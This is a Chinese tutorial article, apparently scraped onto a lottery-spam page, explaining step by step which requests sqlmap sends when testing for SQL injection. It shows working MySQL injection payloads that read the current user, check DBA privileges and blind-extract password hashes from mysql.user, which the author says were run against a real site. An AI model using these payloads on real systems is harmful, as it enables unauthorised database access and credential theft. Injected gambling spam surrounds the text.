• 中国遥感卫星地面站成功接收高分六号卫星数据 2019-06-28
  • 乡镇纪委做指导 村务监督更有力 2019-06-27
  • 火爆!可兰白克两引冲突掀翻对手 杜锋直接换他下场 2019-06-27
  • 自然型社会和规则性社会,是会随着科技的改变而发生改变的,当然只有规矩也就是制度才能规范人的行为,所以国家是不会灭亡的,但国家的形式是会发生改变的。 2019-06-25
  • 虾仁-热门标签-华商生活 2019-06-16
  • 鹰潭高新区打造非公党建示范带 2019-06-11
  • 紫光阁中共中央国家机关工作委员会 2019-06-06
  • 中华民族一家亲 同心共筑中国梦 2019-06-04
  • “5·15”全国公安机关打击和防范经济犯罪宣传日 2019-06-03
  • 激情世界杯熬夜看球 谨防泌尿疾病“亮红牌” 2019-06-03
  • 肯尼亚蒙内铁路乘务员掠影(高清组图) 2019-05-23
  • 12亿次电话“呼死你”? 83万余个账号被封停! 2019-05-21
  • 新型国际关系擘画人类未来 2019-05-18
  • 习近平同哈萨克斯坦总统纳扎尔巴耶夫举行会谈 2019-05-18
  • 宝鸡市陈仓区党员干部助力夏收帮扶困难群体 2019-04-13
  • |
    |
    51CTO旗下网站
    |
    |
    移动端

    聊一聊SQLMAP在进行SQL注入时的整个流程

    本文就用我们看的见的角度来分析,看看sqlmap到底发送了什么payload,这些payload是怎么出来的,不深入代码层面。

    作者:sher10ck来源:信安之路|2019-07-05 08:12

    广东11选五精准计划 www.flxp.net 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什么?

    本文就用我们看的见的角度来分析,看看sqlmap到底发送了什么payload,这些payload是怎么出来的,不深入代码层面。

    测试环境:

    1. sqlmap(1.3.6.58#dev)  
    2. Burp Suite  
    3. //attack.com?1.php?id=1 

    测试方式

    利用 sqlmap 的 proxy 参数,我们将代理设置为 8080 端口用 burpsuite 进行抓包。

    1. sqlmap.py -u "//attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080" 

    (测试了很久好像本地搭建的环境无法抓包,所以就找了有注入点的网站,漏洞已上报给漏洞平台)

    抓取到的包如下 :

    sqlmap 的准备工作

    我们也观察到,sqlmap 默认发送的 User-Agent 是这样的。

    1. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 

    所以为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent 参数在后面。

    首先我们的 sqlmap 会连续发送出很多数据包来检测目标网站是否稳定:

    1. GET /xxxx.php?id=1 HTTP/1.1 
    2. Host: www.xxxx.xxx 
    3. Accept: */* 
    4. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 
    5. Connection: close 
    6. Cache-Control: no-cache 
    7.  
    8. [INFO] testing connection to the target URL 
    9. [INFO] testing if the target URL content is stable 
    10. [INFO] target URL content is stable 

    接下来会检测是否为 dynamic,和上面的请求包相比,sqlmap 修改了 id 后面的值。

    1. GET /xxxx.php?id=2324 HTTP/1.1 
    2. Host: www.xxx.xxx 
    3. Accept: */* 
    4. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 
    5. Connection: close 
    6. Cache-Control: no-cache 
    7.  
    8. [INFO] testing if GET parameter 'id' is dynamic 

    看不懂这是什么骚操作,我们来看看源码里面怎么说 (sqlmap\lib\controller\checks.py)。

    1. def checkDynParam(place, parameter, value): 
    2.     """ 
    3.     This function checks if the URL parameter is dynamic. If it is 
    4.     dynamic, the content of the page differs, otherwise the 
    5.     dynamicity might depend on another parameter. 
    6.     """ 

    根据输出语句的关键词查找,我追踪到了这个 checkDynParam 函数,大概的作用就是修改我们现在获取到的参数值,看修改前后的页面返回是否相同(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的),若有变化(或者说这个参数是真实有效的),sqlmap 才会走到下一步。

    下一步的数据包和功能如下:

    1. GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1 
    2. Host: www.xxx.xxx 
    3. Accept: */* 
    4. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 
    5. Connection: close 
    6. Cache-Control: no-cache 
    7.  
    8. [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 

    我们将上面的 url 编码解码:

    1. /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 
    2. /xxxx.php?id=1'.),,.(.)" 

    这几个字符串就能判断是 MySQL 数据库?又是什么骚操作,再看看源码吧 (sqlmap\lib\controller\ckecks.py):

    1. infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() 

    找到了一条语句,跟踪这个 getErrorParsedDBMSes() 函数。

    1. def getErrorParsedDBMSes(): 
    2.         """ 
    3.         Parses the knowledge base htmlFp list and return its values 
    4.         formatted as a human readable string. 
    5.  
    6.         @return: list of possible back-end DBMS based upon error messages 
    7.         parsing. 
    8.         @rtype: C{str} 
    9.         """ 

    那么这个函数就是通过报错信息(就是上面的 payload) 来辨别数据库的类型,刚好我找的这个网站也是爆出了 MySQL 语句的错误,然后就通过正则 (sqlmap/data/xml/errors.xml) 识别出来啦,篇幅原因源码就不分析了。

    sqlmap 的注入分析

    1. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp 
    2. ecific for other DBMSes? [Y/n] Y 
    3. for the remaining tests, do you want to include all tests for 'MySQL' extending 
    4. provided level (1) and risk (1) values? [Y/n] Y 

    上面 sqlmap 已经得到了数据库的类型并且参数也是有效的,接下来往下走 sqlmap 就开始判断注入了(这里直接用-v3 参数显示 payload 更加的清晰)。

    这一块也是大家最需要搞清楚的一部分,很多小伙伴看着感觉有注入,哎,上 sqlmap,然后基本上一片红,但是实际上,按照 sqlmap 对注入的分类,我们可以更加清晰的了解 sqlmap 到底做了什么,这些东西是从哪里出来。

    首先要说一下,sqlmap 有一个 —technique 参数,在运行的整个过程中,也是按照这几类来检测的:

    1. --technique=TECH..  SQL injection techniques to use (default "BEUSTQ") 
    2. B: Boolean-based blind SQL injection(布尔型注入) 
    3. E: Error-based SQL injection(报错型注入) 
    4. U: UNION query SQL injection(可联合查询注入) 
    5. S: Stacked queries SQL injection(可多语句查询注入) 
    6. T: Time-based blind SQL injection(基于时间延迟注入) 
    7. Q: inline_query SQL injection(内联注入) 

    对这几种注入还不熟练于心的小伙伴们要好好补一下基础。

    那么这些主要的注入语句,我们可以在 sqlmap/data/xml/queries.xml 中查看了解,总结的还是挺全面的,这里截取一部分出来。

    1. <dbms value="MySQL"> 
    2.         <cast query="CAST(%s AS CHAR)"/> 
    3.         <length query="CHAR_LENGTH(%s)"/> 
    4.         <isnull query="IFNULL(%s,' ')"/> 
    5.         <delimiter query=","/> 
    6.         <limit query="LIMIT %d,%d"/> 
    7.         <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> 
    8.         <limitgroupstart query="1"/> 
    9.         <limitgroupstop query="2"/> 
    10.         <limitstring query=" LIMIT "/> 
    11.         <order query="ORDER BY %s ASC"/> 
    12.         <count query="COUNT(%s)"/> 
    13.         <comment query="-- -" query2="/*" query3="#"/> 
    14.         <substring query="MID((%s),%d,%d)"/> 
    15.         <concatenate query="CONCAT(%s,%s)"/> 
    16.         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> 
    17.         <hex query="HEX(%s)"/> 
    18.         <inference query="ORD(MID((%s),%d,1))>%d"/> 
    19.         <banner query="VERSION()"/> 
    20.         <current_user query="CURRENT_USER()"/> 
    21.         <current_db query="DATABASE()"/> 
    22.         <hostname query="@@HOSTNAME"/> 
    23. ...... 
    24. ...... 
    25. ...... 

    对于每种类型的注入语句需要如何组合,在 sqlmap/data/xml/payloads 下有六个文件,里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些 payload 的位置等,了解一下就行了。

    1. <test> 
    2.         <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title> 
    3.         <stype>6</stype> 
    4.         <level>1</level> 
    5.         <risk>1</risk> 
    6.         <clause>1,2,3,4,5</clause> 
    7.         <where>1</where> 
    8.         <vector>[UNION]</vector> 
    9.         <request> 
    10.             <payload/> 
    11.             <comment>[GENERIC_SQL_COMMENT]</comment> 
    12.             <char>[CHAR]</char> 
    13.             <columns>[COLSTART]-[COLSTOP]</columns> 
    14.         </request> 
    15.         <response> 
    16.             <union/> 
    17.         </response> 
    18.     </test> 

    同目录下还有一个 boundaries.xml 文件,里面主要是定义了一些闭合的符号,比方说我们注入点需要闭合,添加单引号、双引号、括号等一系列的组合方式,就是从这个文件当中提取出来的。

    1. <boundary> 
    2.        <level>3</level> 
    3.        <clause>1</clause> 
    4.        <where>1,2</where> 
    5.        <ptype>3</ptype> 
    6.        <prefix>'))</prefix> 
    7.        <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix> 
    8.    </boundary> 

    所以梳理一下思路,我们最终会发送给目标服务器的 payload,首先是需要闭合的 (boundaries.xml),然后从对应的注入类型的各种测试模板中提取相应的参数(比如:boolean_blind.xml),然后在 queries.xml 中取出相应的表达式,最后通过 tamper 的渲染,输出我们最终的 payload,也就是我们的 -v3 参数。

    sqlmap 的一些参数

    我们主要分析以下两个命令:

    1. --is-dba 
    2. --passwords 

    命令主要是判断 mysql 用户的一些信息,当我们发现注入可以利用的时候,下一步就是要看当前用户的权限看能有什么的操作了。

    1. 判断是否是 dba 权限

    sqlmap 一共发了两个请求包:

    1. GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1 
    2. Host: www.xxxx.xxx 
    3. Accept: */* 
    4. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 
    5. Connection: close 
    6. Cache-Control: no-cache 
    7.  
    8.  
    9. GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1 
    10. Host: www.xxxx.xxx 
    11. Accept: */* 
    12. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 
    13. Connection: close 
    14. Cache-Control: no-cache 

    将 payload 解码:

    1. /xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP 
    2.  
    3. /xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV 

    我们直接在 mysql 控制台下执行命令:

    第一个命令返回了用户名, 0x71766a6271 解码为 qvjbq,那么这一步我们可以提取出用户名了。

    第二个命令返回了 1 ,我们将查询命令提取出来:

    1. SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1 

    在 mysql 数据库下的 user 表中查询 super_priv (超级权限)的值:

    返回了 Y,所以我们判断是否为 dba 的思路就是通过查看 mysql.user 下 super_priv 的值。

    这个命令有一个坑,有的时候我们所注入的服务器上面并没有 mysql 这个数据库,所以用这个命令的前提是 mysql 这个数据库要存在。

    2. 查询密码

    抓的包:

    1. GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1 
    2. Host: www.xxxx.xxx 
    3. Accept: */* 
    4. User-Agent: sqlmap/1.3.6.58#dev (//sqlmap.org) 
    5. Connection: close 
    6. Cache-Control: no-cache 

    解码:

    1. /xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48 

    这里有个很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是从 mysql.user 中获取 authentication_string 的值,但是很有趣的是,这个值只有在 mysql 版本 5.7 以上,password 才会变成 authentication_string,我们也可以从 queries.xml 中找到这条语句:

    1. <passwords> 
    2.             <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/> 
    3.             <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/> 
    4. </passwords> 

    发现默认就是这个 authentication_string,所以我们这里直接修改 queries.xml 中的语句,将查询的列明改成 password 再测试一下。

    后面测试发现,我们在没有修改的情况下,sqlmap 也会跑出密码,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:

    看下源码,然后找到了( sqlmap/plugins/generic/users.py):

    1. values = inject.getValue(query.replace("authentication_string", "password"), blind=Falsetime=False

    这里用 replace 将两个列明进行了替换,里面有个 ifel 的语句,要是第一次没找到就会进行替换,这样我们的问题就解决掉啦,sqlmap 还是想的挺周全的哈哈。

    总结

    sqlmap 里面的内容实在是太多太多,想要摸索里面的内容需要花费大量的时间,当然收获也是成正比的,搞清楚sqlmap 的流程原理,对我们 sql 注入技术会有很大的提升。

    【编辑推荐】

    【责任编辑:赵宁宁 TEL:(010)68476606】

    点赞 0
    分享:
    大家都在看
    猜你喜欢

    订阅专栏+更多

    16招轻松掌握PPT技巧

    16招轻松掌握PPT技巧

    GET职场加薪技能
    共16章 | 晒书包

    275人订阅学习

    20个局域网建设改造案例

    20个局域网建设改造案例

    网络搭建技巧
    共20章 | 捷哥CCIE

    642人订阅学习

    WOT2019全球人工智能技术峰会

    WOT2019全球人工智能技术峰会

    通用技术、应用领域、企业赋能三大章节,13大技术专场,60+国内外一线人工智能精英大咖站台,分享人工智能的平台工具、算法模型、语音视觉等技术主题,助力人工智能落地。
    共50章 | WOT峰会

    0人订阅学习

    读 书 +更多

    网管员必读——网络组建

    本书以一个模拟局域网组建为思路,介绍了与局域网组建各主要方面相关的知识及组建、配置方法。本书所介绍的内容主要包括:局域网组建规划、...

    订阅51CTO邮刊

    点击这里查看样刊

    订阅51CTO邮刊

    51CTO服务号

    51CTO播客

    广东11选五精准计划
  • 中国遥感卫星地面站成功接收高分六号卫星数据 2019-06-28
  • 乡镇纪委做指导 村务监督更有力 2019-06-27
  • 火爆!可兰白克两引冲突掀翻对手 杜锋直接换他下场 2019-06-27
  • 自然型社会和规则性社会,是会随着科技的改变而发生改变的,当然只有规矩也就是制度才能规范人的行为,所以国家是不会灭亡的,但国家的形式是会发生改变的。 2019-06-25
  • 虾仁-热门标签-华商生活 2019-06-16
  • 鹰潭高新区打造非公党建示范带 2019-06-11
  • 紫光阁中共中央国家机关工作委员会 2019-06-06
  • 中华民族一家亲 同心共筑中国梦 2019-06-04
  • “5·15”全国公安机关打击和防范经济犯罪宣传日 2019-06-03
  • 激情世界杯熬夜看球 谨防泌尿疾病“亮红牌” 2019-06-03
  • 肯尼亚蒙内铁路乘务员掠影(高清组图) 2019-05-23
  • 12亿次电话“呼死你”? 83万余个账号被封停! 2019-05-21
  • 新型国际关系擘画人类未来 2019-05-18
  • 习近平同哈萨克斯坦总统纳扎尔巴耶夫举行会谈 2019-05-18
  • 宝鸡市陈仓区党员干部助力夏收帮扶困难群体 2019-04-13
  • 海口福利彩票销售点 巴黎打甘冈重播 门兴云达不莱梅 河北20选5预测 侏罗纪电子游戏 我叫mt4紫色藏宝图坐标 穿越火线活动大全 360老时时彩杀号器 百家乐平注法亏损 沃尔夫斯堡吧 三国杀1v1 蒸气炸弹官网 加拿大快乐8走势图在线 快乐赛车开奖纪录 股权激励单双中特论坛 排列5彩票怎么买法